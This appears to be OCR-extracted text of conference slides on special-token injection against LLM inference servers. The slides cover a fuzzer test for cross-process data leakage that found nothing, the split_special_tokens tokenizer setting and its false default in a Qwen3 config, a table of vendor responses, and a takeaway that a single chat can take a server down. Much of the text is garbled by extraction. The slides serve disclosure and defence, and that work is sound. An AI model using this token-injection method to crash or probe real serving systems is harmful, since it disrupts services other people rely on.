F’rc:mP‘t In_‘ie,ction

Goal:
'T'r?gger

Expect:

1 'l«ack.cow\'

Leakage

¥

Cross-Process Ana|yzer
Real-time Contamination
Detection

Alert

Y
Leak Detected if:
Process 1 sees
Process 2 data
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Goal: Data Exfiltration or Inference Manipulation

Result: FAILED with the Fuzzer. (No low hanging fruit
found)

However...

e This was a black-box test.

e In-depth research needed here.
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o Fix?

How t

Pipelines s .
PreTrainedTokenizerFast

Processors

Quantization The PreTrainedTokenizerFast depend on the tokenizers library. The tokenizers obtained from the & tokenizers library can be
loaded very simply into & transformers. Take a look at the Using tokenizers from & tokenizers page to understand how this is

Trainer done.

DeepSpeed

ExecuTorch

# class transformers.PreTrainedTokenizerFast
Feature Extractor

Image Processor ( *args, x*kwargs )

Video Processor
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The Native Defense

additional_special_tokens (tuple or list of stxr or tokenizers.AddedToken, optional) — A tuple or a list of additional special
tokens. Add them here to ensure they are skipped when decoding with skip_special_tokens is set to True. If they are not
part of the vocabulary, they will be added at the end of the vocabulary.

clean_up_tokenization_spaces (bool, optional, defaults to True) — Whether or not the model should cleanup the spaces that
were added when splitting the input text during the tokenization process.

split_special_tokens (bool, optional, defaults to False) — Whether or not the special tokens should be split during the
tokenization process. Passing will affect the internal state of the tokenizer. The default behavior is to not split special tokens.
This means that if <s> isthe bos_token, then tokenizer.tokenize("<s>") = ['<s>]. Otherwise, if

split_special_tokens=True,then tokenizer.tokenize("<s>") willbegive ['<','s", '>'].

tokenizer_object (tokenizers.Tokenizer) — A tokenizers.Tokenizer object from & tokenizers to instantiate from. See
Using tokenizers from & tokenizers for more information.

tokenizer_file (stx) — A path to a local JSON file representing a previously serialized tokenizers.Tokenizer object from &
tokenizers.
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How many Open-Source Model
use this protection?

~0%
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The Default Insecurity

. . . "bos_token": null
% Owen Qwen3-VL-235B-A22B-Thinking © ©like 325 - '
%Q Q en3 35 g "chat_template": "{%- if tools %f\n 11- '<|im_start

"clean_up_tokenization_spaces": false,

8 Safetensors  qwen3_vl_moe arxiv:i4 papers @ License: apache-2.0
"eos_token": "<|im_end|>",
"errors": "replace",
# Modelcard ‘= Files and versions <¢xet ¢ Community "model_max_length": 262144,

"pad_token": "<|endoftext|>",
"split_special_tokens": false,
"tokenizer_class": "Qwen2Tokenizer",
"unk_token": null

P mainv  Qwen3-VL-235B-A22B-Thinking = tokenizer_config.json T
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Vendor Responses

VLLM 2025-08 Fixed Google 2025-07 Fixed
SGLANG 2025-08 No Response NVIDIA 2025-08 Fixed
TRTLLM 2025-08 No Response Microsoft 2025-08 Fixed

H ingFaceTGI 2025-08 No Response
1gging P Meta 2025-08 Self-DOS
Ollama 2025-08 No Response
Not a
MLX 2025-08

vulnerability
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Takeaway

« New Attack Surface

- Beyond Prompt Injection -Token Injection.
o Simplicity

o One Simple Chat -Server Down.

- May also cause further exploitation
. Defense

- Sanitize Special Tokens.
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Thank You!
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